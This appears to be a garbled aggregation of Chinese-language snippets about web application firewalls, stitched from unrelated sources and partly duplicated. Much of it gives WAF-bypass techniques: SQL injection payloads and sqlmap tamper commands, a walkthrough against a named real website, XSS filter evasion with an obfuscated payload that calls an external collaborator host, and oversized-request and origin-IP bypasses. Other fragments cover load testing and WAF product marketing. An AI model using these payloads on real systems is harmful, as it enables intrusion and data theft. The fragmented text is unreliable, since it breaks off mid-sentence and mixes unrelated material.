成功找到一个sql注入 手工测试,发现有waf 此刻我们过一波waf 首先burp抓包 改成post型 ? ? 此刻是post型 复制出来 ? 到这里就差不多了 修复方式: 对get,post,cookie传递过来的值过滤对一些sql语句关键字过滤or and && select if () union from等再加个云waf
环境:apache+php+mysql(使用的phpstudy的集成环境) 最新版安全狗:刚从官网下载来的 注入点: 常规的and 1=1判断测试: 被拦截,用/**/代替空格:成功绕过 http:/
对于只看宏观文章,没有实战的演练,无疑是很好的案例。 三、具体实现 本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php? 50000Order/ By 100 — - 依然可以报错,说明也可以bypass waf。 ? 5、接下来进行联合查询,使用union select。 id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- - 这里依然被waf拦截。 ? FrOm Information_schema— - 这里被waf拦截。 如图所示:oh shit….依然被waf拦截。 ? 接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。
主要有安全狗、云锁等 硬件WAF: 主流防御流量和部分WEB攻击,常见硬件WAF如天融信、启明星辰、深信服、安恒等。 云WAF: 如阿里云等。 WAF部署在哪里 在测试的过程中我们要知道WAF一般主要是部署在那个节点,这对我们绕过WAF时有很大帮助。 通过下图我们可以大概了解: 绕WAF的理解 在我自己看来,所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。 实战常遇技巧 当你发现这些姿势都不好使的时候,你就该去发现一些新的特性了,毕竟设计WAF的选手都是基于目前的认知下去设计的,当新的特性出现的时候,势必又是一波bypass。 又能细分出很多来,而且屡试不爽,这里总结下我个人常用的 (1) 删掉content-type (2) 构造多个filename (3)content-type后面加TABLE键 (4)换行boundary (5)
从回包的状态码403和Server值可以判断是被Waf拦截了。 那么这时如果我们想要绕Waf的话,就要去思考它对应的正则匹配的规则可能存在的情况了: 1.匹配script 2.匹配alert 3.匹配<.*? > 4.匹配<script> 5.匹配<script>.*?alert.*?</script> 注:.*?表示非贪婪比配,可以匹配任意字符,直到下一个字符出现为止。例如:<.*? 那就再简单猜测一下对应的Waf规则吧: 1.匹配onerror= 2.匹配alert(.*?) 3.匹配on.*?=alert(.*?) 4.匹配on.*?=.*?alert(.*?) 也无需测试都会被Waf拦截。
可以看到被 WAF 拦截。 0x02 WAF 绕过 在这个点上测试了一天都没能绕过,在以为专注 WAF 绕过研究的大神帮助下,发现一个可用的 Payload,长下面的样子: []["\146\151\154\164\145\162 来进行漏洞利用的验证,将下面的 payload 进行转换: var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net 总结 以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程,通过一些 JavaScript 的特性,通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过,waf 通常是通过正则来进行检测和拦截 ,如果你找到了目标 waf 规则之外的方式,那么,恭喜你,waf 对你无用。
id=26-p id --tamper=space2comment,equaltolike,between --current-db --random-agent 检测显示存在 WAF: 不管它,让它继续检测
91.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,定位是WAF的问题。 从CLB压过去没有任何问题,但是经过WAF之后,出现掉坑现象,所以一开始就怀疑是WAF限频问题,询问了WAF的同学是不是触发了什么策略。 92.png WAF的同学查看告警模块,发现触发了ipset封堵策略。 19:30:20开始出现掉坑 ,然后出现WAF ipset封堵策略告警,时间是刚好对应的上。 93.png 让WAF的同学对其加白,问题得以解决。 95.png 【总结】 首先要确定压测链路是什么。 一步一步缩小压测环节,快速定位问题。 然后根据波形图进行合理猜测。
WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。那么WAF有什么功能呢? 防火墙都是防御性的产品,有防就有攻,要了解WAF有什么功能,就要从攻击者的角度去思考。 攻击的目的要么是为了利益,要么是为了炫技。目前攻击者大多都是闷声发大财,很少会为了炫技而惹上麻烦。
摘要 本文深入解析SQL注入攻击的原理与危害,结合腾讯云Web应用防火墙(WAF)的核心能力,提供从基础防护到高级防御的完整解决方案。 腾讯云WAF凭借AI+规则双引擎、全量日志分析和30线BGP防护等特性,成为拦截SQL注入的标杆方案。 .攻击原理与演变 SQL注入通过篡改用户输入构造恶意指令,典型攻击流程包含: 参数注入:在登录表单注入' OR 1=1 --绕过认证 盲注攻击:通过响应延迟判断数据库类型(如IF(SLEEP(5) **业务风险防护** - 敏感信息自动脱敏(手机号/身份证号替换为***) - 管理后台IP白名单设置,仅允许企业内网访问 三、企业级防护方案配置指南 1.基础防护配置(5分钟快速部署 ) 步骤 操作内容 防护效果 DNS解析 修改域名CNAME至WAF集群 全流量清洗 规则启用 开启SQL注入/XSS等25种攻击类型检测 拦截90%基础攻击 CC策略 设置管理后台路径QPS阈值≤10
超大数据包绕过 绕过原理 资源限制:WAF长度资源限制 假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。 对于攻击者而言,只需要在POST BODY前面添加许多无用的数据,把攻击的payload放在最后即可绕过WAF检测。 ,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。 所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。 [User]/**/where id=1 那么意味着在注释符中可以添加大量的无效字符来打破WAF的规则匹配。
过WAF(针对云WAF) 寻找真实IP(源站)绕过 如果流量都没有经过WAF,WAF当然无法拦截攻击请求。 当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。 如图,dict.com接入接入WAF后,dict.com的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。 如果子站访问目标站不经过WAF集群,可以利用SSRF漏洞来绕过WAF。 资源限制角度绕过WAF 超大数据包绕过 这是众所周知、而又难以解决的问题。 协议层面绕过WAF 即使流量都确保经过WAF,如果WAF的防御策略根本就没有检测payload,那么也就能绕过WAF。
【问题表现】 项目某接口压测过程中,QPS从10万陡降到5万后,一直回不去(两个压测机同时压测)。 38.png 39.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,排除了 从CLB压过去,单个压测机能压到5万,说明CLB没有问题。 40.png 找了运维同学查看WAF设置,发现QPS被限制在10万左右,需要升级套餐。
concat/**/() concat%250c() concat%250() 浮点数词法解析 select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0 利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略) extractvalue(1, concat (0x5c,md5(3))) updatexml(1, concat(0x5d,md5(3)),1); GeometryCollection((select*from(selectlrom(select MYSQL1nigth Oselect{x table_name}from{x information_schema.tables}; Fuzz绕过 上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破
WAF也是防火墙,那么它应该是部署在哪里呢?在部署上,它和传统防火墙有什么区别呢? 传统防火墙处理的消息格式大多是格式化,基本上内容都是固定或者索引方式。 而WAF处理的消息是文本,是非格式化消息,都是可变的。在处理这两种不同的消息格式,在性能上的消耗相差非常大。 我之前测试过,不使用正则,处理http内容匹配比格式化要慢上5-20倍,如果用上正则还可能再慢上20倍。
WAF自身安全 WAF如何保证自身安全,使用了什么操作系统定期的打补丁,补丁升级是否是自动,WAF机器具有HIDS。 5. 请求延迟(Request latency)。 上面的性能指标均是假定在零丢包的情况下测得的最大值。 最大请求速率(with Keep-Alives enabled). 5. 最大并发连接数。 6. 请求延迟(Request latency)。 上面的性能指标是假定在零丢包的情况下测得的最大值。 WAF对使用WASDL定义 Web Services 函数调用进行限制。 a. WAF可以阻止由管理员指定禁止访问的Web Services函数调用。 b. WAF检查Web Services函数调用时输入的参数数值或类型。 4. WAF对WebServices和RPC通讯数据进行验证。 5. WAF对XML文档内容有效性进行验证。
nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字
nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字
在这篇文章中,我们将深入探讨WAF的工作原理、分类、特点和实现方式,以及如何选择和部署WAF,以帮助读者更好地理解WAF的功能和应用。 一、WAF的工作原理 WAF可以通过对Web应用程序的流量进行过滤和监控,识别并阻止潜在的安全威胁。 二、WAF的分类 WAF可以在多个层次对Web应用程序进行保护。 常见的WAF包括以下几种: 硬件WAF:硬件WAF通常是一种独立设备,它可以与网络交换机、路由器等设备集成,拦截来自外部网络的流量,并对Web应用程序进行保护。 云WAF:云WAF通常是一种基于云的服务,可以将Web应用程序的流量转发到云端进行处理。云WAF可以提供全球分布的节点,从而提高Web应用程序的可用性和性能。
由于WAF一般和业务系统是串联的,并且还是部署在业务系统前面。如果采用反向代理部署模式,假设WAF出现故障,那么会导致单个或者多个站点不可用。这意味着WAF的功能必须是随时可以关闭的。 一个WAF往往需要同时防护多个站点,如果把整个WAF关闭,是会导致整体业务群都失去保护。所以,WAF的工作模式必须有对站点有随时关闭的模式。